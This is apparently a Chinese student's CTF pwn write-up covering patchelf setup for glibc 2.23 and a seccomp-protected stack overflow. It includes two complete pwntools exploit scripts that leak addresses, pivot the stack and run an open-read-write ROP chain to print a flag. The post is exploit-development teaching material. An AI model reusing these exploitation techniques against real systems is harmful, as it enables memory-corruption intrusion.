之前打了一下他们中国海洋大学的比赛,ε=(´ο`*)))唉太痛了,好几题都已将被打烂了,都没整出来,花了好几天才整出来一天,这一题还有的关键的地方是学长交的,太菜了,写这篇文件记录一下吧
写这篇文章的时候比赛还没有结束,那关于题目的wp等比赛结束了在发出来
有关于patchelf这个工具的使用
在pwn题中,很多题目在远程的环境有很多种而这些不同的环境对pwn题的影响有很大,有的题目的编译环境与能不能打通有直接的关联,在本地的程序一般会直接使用本地的libc这会使我们在攻击本地与攻击远程有很大的出入,而patchelf这个工具的最大用处便是将远程的环境与本地环境不同的这个问题解决的很好用的工具。
一般远程的libc版本在题目中是会随可执行文件一起能被下载的,而这个工具的作用便是在于将本地的可执行文件(elf文件)的调用libc库从本地的固定的库转换为题目中提供的那个,是我们在攻击时,能保持本地与远程环境的一致,方便本地的攻击与调式。在本地打通后只要将链接的方式改为远程便可以
现在先介绍关于这个工具的使用:
1 2 3
| patchelf --set-interpreter /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0buntu9.9_amd64/ld-2.31.so --set-rpath /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64 login(文件名) patchelf --set-interpreter libc文件名(包括路径) --set-rpath libc文件所在的文件夹全名(包括路径) pwn(文件名)
|
1
| patchelf --set-interpreter /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so(根据题目要求的libc版本来) --set-rpath /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64(文件夹名固定) pwn
|
如果在远程的libc版本在本地的libc库中没有,将其拖入那个文件夹中便可以。
关于这个工具的下载一下是其在github上的位置,可以按文档上的介绍来做(中间可能会遇到一些问题,可以上网查一下,我是学长直接帮我下好的,我是菜狗)
NixOS/patchelf:一个修改 ELF 可执行文件的动态链接器和 RPATH 的小实用程序 — NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables (github.com)
老规矩拿到题目先checksec一下
这里有一个问题在于在于这里的checksec比正常的多了最后一个,这个是我自己加上的,在拿到题目直接checksec只会有前5个,这第6个便是使用上文的patchelf工具将这个题目的libc链接库改到题目给的2.23版本后checksec的结果
在这里由于远程提供的是2.23的libc版本,所以这道题的编译环境也是这个版本,由于在不同版本中其对于不同漏洞的机制是不同的,所以有的漏洞在特定的版本上能打通在有的过高的版本就打不同,像这道题我写的脚本打本地就是打不通的,但一旦换到远程就可以打通。所以以后再遇到题目提供的libc版本与本地的版本并不同的时,最好在一开始就将文件的调用的libc版本从本地的换到与远程相同的版本。
这道题在我这里的更换命令如下,各位师傅可以更具自己的电脑进行更改。
1 2
| patchelf --set-interpreter /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 bs
|
好那现在便将这个程序拖入到ida中
先看main函数:
就两个函数那就一个一个点进去看,先看第一个
那这样就很明显这道题是有沙箱保护的,那就再看沙箱有哪些保护
这个沙箱保护有一个很扯的地方在于对于execve函数他并没有禁止,而是禁止了exit_group这个函数,所以好像理论上来说好像可以通过执行system(/bin/sh)
拿到shell,但是我在之后发现并不能这样,他在执行system函数时会出现一些问题, 还是无法解决的那种,所以这道题还是得用orw的方法解决。
现在再看main函数中的另外一个函数内容
1 2 3 4 5 6 7 8 9 10 11 12
| ssize_t func() { char buf[320]; // [rsp+0h] [rbp-140h] BYREF
setbuf(stdin, 0LL); setbuf(stdout, 0LL); puts("please enter your content:"); read(0, buf, 0x150uLL); printf("%s", buf); puts("please enter your content again:"); return read(0, buf, 0x150uLL); }
|
很明显了,这连续两个的栈溢出虽然溢出的比较小,但也足够进行栈迁移了,并且第一个地方还会把输入的都打印出来,在结合溢出便可以将ebp的值暴露出来,从而得到栈上的地址,然后在第二个栈溢出这里将执行权通过栈迁移将其迁移到栈上。
现在开始详细分析,
在第一个输入数据的那里可以进行一定的栈溢出,但程度很少,只够栈迁移的量,并且在之后的地方程序会把这里输入的都打印出来,虽然这个打印的没有格式化字符串漏洞,但是依然有一个漏洞。
这里用 printf("%s", buf);
将输入到buf的数据打印出来。但这又个问题在于其对于结束打印的鉴定在于是否遇到\x00这个数据,如果遇到这个变会结束打印,反之如果不能遇到这个变会一直打印下去,知道遇到这个数据,于是我我们便可以直接向程序中注入0x140的长度的数据使其直接覆盖到ebq的位置,由于其在ebp的位置之前全部都被覆盖为垃圾数据,程序变回一直打连ebp所指的数据一同暴露,
在这里可以看到ebp所指的值也是一个栈上的地址,在找到程序输入的地址rsp所指的地方。
便可以找到这两个数据的距离差为多少,0x7fffffffde60-0x7fffffffdd10=0x150
这样便可以知道栈的地址,在第二个输入的地方将程序执行权挟持到输入的数据的最开始执行我们输入的命令,
现在变可以在第二个输入的地方用puts函数将puts函数的got表的地址打印出来,然后使用read函数将orw的命令输入的一个bss段上的空地址,之后再将程序通过后栈迁移,迁移到存放orw的bss段地址上,执行orw将flag输出到屏幕上。这个是我对这道题的解法,有些麻烦,并且有的地方要整好多寄存器才行,就想在打开read函数时要将rdi的值代为0才能将我们输入的数据输入到bss段中(就这一个寄存器我调了2天才发现这个问题)。
后来因为我一开始并没有将这个题的链接库改到2.23的版本所以在自己做的时候,一直没打通问了学长,学长自己写了一个与我这种思路并不同的payload,之后将重点将那个payload,这里也将我自己的这种放上去,简单分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| from pwn import *
io=process('./bs')
context.log_level = 'debug'
leave=0x400B09 pop_rdi_ret=0x400b93 read_plt=0x400830 puts_plt=0x4007E0 puts_got=0x601028 read_got=0x601050
buf=0x601680//这里是bss段上的空地址 ret=0x400799 pop_rsi_pop_r15_ret=0x400b91 pop_rbp_ret=0x4008d0 pop_rbx_rbp_r12_r13_r14_r15_ret=0x400B8A csu_init=0x400B70//这个和上面一个都是__libc_csu_init中的全能寄存器修改器
io.sendafter('content:\n',b'A'*0x13f+b'B')
io.recvuntil('B') ebp=u64(io.recv(6).ljust(8,b'\x00')) print ('ebp: ',hex(ebp))
rsp=ebp-0x150//rsp的值便是栈上数据的注入地址 print ('rsp: ',hex(rsp)) tiao=ebp-0xb0//在之后改read函数的寄存器是使用的那个init的跳转地址 print ('tiao: ',hex(tiao))
payload=b'A'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(ret)+p64(puts_plt) //打印libc地址 payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(tiao) payload+=p64(0xc0)+p64(buf)+p64(0)+p64(csu_init)+b'A'*0x38 payload+=p64(ret)+p64(pop_rbp_ret)+p64(1)+p64(read_plt) //将rdi的值设为0,rsi设为bss段的空地址,rdx设为要读取的数据,rbp设为0,然后调用read函数 payload+=p64(pop_rbp_ret)+p64(buf)+p64(leave) //现将要跳转的地址赋给rbp然后调用leave便可以使程序跳转到那个地址 payload=payload.ljust(0x140,b'A') payload+=p64(rsp)+p64(leave) //将ebp覆盖为输入的地址,然后leave调到那
time.sleep(2) io.sendafter('again:\n',payload)
puts=u64(io.recv(6).ljust(8,b'\x00')) print ('puts: ',hex(puts)) time.sleep(2)
elo=ELF('libc-2.23.so') open_libc=elo.symbols['open']
puts_libc=elo.symbols['puts']
print ('puts_libc: ',hex(puts_libc)) sys_libc=elo.symbols['system'] bs = next(elo.search(bytes('/bin/sh', 'utf-8')))
base_libc=puts-puts_libc print ('base_libc: ',hex(base_libc)) system=sys_libc+base_libc binsh=bs+base_libc open=open_libc+base_libc print ('system: ',hex(system)) print ('binsh: ',hex(binsh))
time.sleep(2) buf_flag=0x601780//在orw中放flag的空地址
pop_rsi_pop_r15_ret=0x400b91 pop_rdx_pop_r12_ret_libc=0x11f2e7 pop_rdx_pop_r12_ret=pop_rdx_pop_r12_ret_libc+base_libc
pop_rdx_ret_libc=0x1b92 pop_rdx_ret=pop_rdx_ret_libc+base_libc
payload=b'./flag\x00\x00'+p64(pop_rsi_pop_r15_ret)+p64(0)+p64(0) payload+=p64(pop_rdx_ret)+p64(0) payload+=p64(pop_rdi_ret)+p64(buf)+p64(pop_rbp_ret)+p64(1)+p64(open)
payload+=p64(pop_rdi_ret)+p64(3) payload+=p64(pop_rdx_ret)+p64(0x30) payload+=p64(pop_rsi_pop_r15_ret)+p64(buf_flag)+p64(0) payload+=p64(pop_rbp_ret)+p64(1)+p64(read_plt)
payload+=p64(pop_rdi_ret)+p64(buf_flag)+p64(puts_plt)
io.send(payload)
io.interactive()
|
以上这个便是我自己的payload,很明显有多有乱,虽然能打通但在真实的比赛中这个太多了,整完这题后面的就没什么时间了。所以必须要简化,现在来看看学长的payload
那现在来看看学长写的这个payload,先讲我对这个的理解。
在第一个溢出中我们可以通过溢出将ebp的值覆盖,然后还可以再溢出8个字节的位置,对于这剩下的一个位置我们可以选择像之前我的那个一样进行栈迁移,还一种便是回到程序中的某一个位置之后从这个位置执行下去,在这里学长选择得便是第二种,
那既然能改ebp的值那现在便要找一个可以用这个的地方,回到汇编语句中来看
仔细看在printf函数调用之前对于寄存器的管理,
1 2 3 4 5
| lea rax, [rbp+buf] mov rsi, rax mov edi, offset format ; "%s" mov eax, 0 call _printf
|
先将rbp的值加上buf,这里buf就是指buf这个变量的大小(-0x140),然后将rbp+(-0x140)的值赋给rax寄存器
将rax的值赋给rsi寄存器
将”%s”赋给edi,再将eax的值清零,
最后调用printf函数,
(关于这里为什么会是-0x140,我是不是很清楚,但点进buf显示的便是如此,同时在gdb中查看这一段地址也是如此,-0x140)
详细来说就是在printf函数调用之前将edi赋值为%s,将rsi赋值为rbp-0x140的值,然后通过printf函数将rsi所指的rbp-0x140的地址的值打印出来,而我们在之前的时候可以通过栈溢出将ebp(ebp与rbp是同一个寄存器,不过ebp是rbp的后面一半的位,不过大多时候用不到不同的位置,故可以混用)的值覆盖,那这里我们便可以通过栈溢出将ebp的指覆盖为某个函数的got表的地址+0x140,然后再后面输入上面这个代码的地址,执行这段地址便可以将这个函数的got表的地址打印出来,然后便可以知道程序的libc基地址。
1 2 3 4 5 6 7 8 9 10 11
| ayload = b"A"*0x140 + p64(got +0x140) + p64(0x400ACC)
io.sendafter("please enter your content:",payload)
io.sendafter("please enter your content again:",b"AAA")//第二个栈溢出随便输入几个数据过去就行
io.recvuntil(b"\n") libcbase = u64(io.recv(6).ljust(8,b"\x00")) libcbase=libcbase-libc.sym["__libc_start_main"] print("libcbse=================================================+>",hex(libcbase))
|
那这样程序的执行便回到printf函数这里,并且在之后还有一次栈溢出的机会,
有一个很重要的事,自从我们将ebp的值覆盖为got+0x140的值后,一直执行的命令中并没有改变ebp的值的命令,故在后面包括read函数执行的时候对ebp的调用依然是不变的
继续往后面执行执行到read的时候看看
由于ebp在前期的执行中并没有被改变,故执行到这里时依然是got+0x140的值,然后根据调用read函数前的命令,在执行read时rsi寄存器的值被改变为got的值,故这里的read函数读入的数据并不存放在栈上,而是存放在got的地址及其之后,并且ebp所指向的值为got+0x140。
然后便可以将orw通过read函数直接注入到got的地址上,然后注入的剩下垃圾数据到0x140,在将ebp指向的数据覆盖成got-8的地址,然后调用leave,指程序栈迁移到存放orw的地址,然后执行就可以拿到flag
全部的paylaod如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * io = process("./bs") elf = ELF("./bs") libc = ELF("libc-2.23.so") context.log_level = "debug"
put_plt = 0x4007E0 rdi = 0x400b93 got = 0x601058
bss = elf.bss() - 0x8 + 0x30 print('elf.bss(): ',hex(elf.bss())) print("============================>",hex(bss)) payload = b"A"*0x140 + p64(got +0x140) + p64(0x400ACC)
gdb.attach(io,"b *0x400B09") pause()
io.sendafter("please enter your content:",payload)
io.sendafter("please enter your content again:",b"AAA")
io.recvuntil(b"\n") libcbase = u64(io.recv(6).ljust(8,b"\x00")) libcbase=libcbase-libc.sym["__libc_start_main"] print("libcbse=================================================+>",hex(libcbase))
open_addr = libcbase + libc.sym["open"] print('open_addr: ',hex(open_addr)) read_addr = 0x400830 printf = 0x400810 leave = 0x400B09 rdx = 0x1b92 + libcbase rsi = libcbase + 0x00000000000202f8
payload = p64(rdi) + p64(got + 0x78 + 0x10) + p64(rsi) + p64(0x0) payload+=p64(rdx) + p64(0x0) + p64(open_addr)
payload += p64(rdi) + p64(0x3) + p64(rsi) + p64(bss + 0x200) + p64(rdx) + p64(0x30) + p64(read_addr) + p64(rdi) + p64(bss+0x200)
payload += p64(put_plt) + b"flag\x00" payload = payload.ljust(0x140,b"A") payload += p64(got - 0x8) + p64(leave) io.sendafter("please enter your content again:",payload)
io.interactive()
|
这样便是完整的payload,很明显学长的这个比我的要少了很多,而这个的关键就在与对ebp的使用,从一开始溢出将其覆盖之后,后面便一直在利用这个被覆盖的ebp完成libc的暴露与orw的迁移。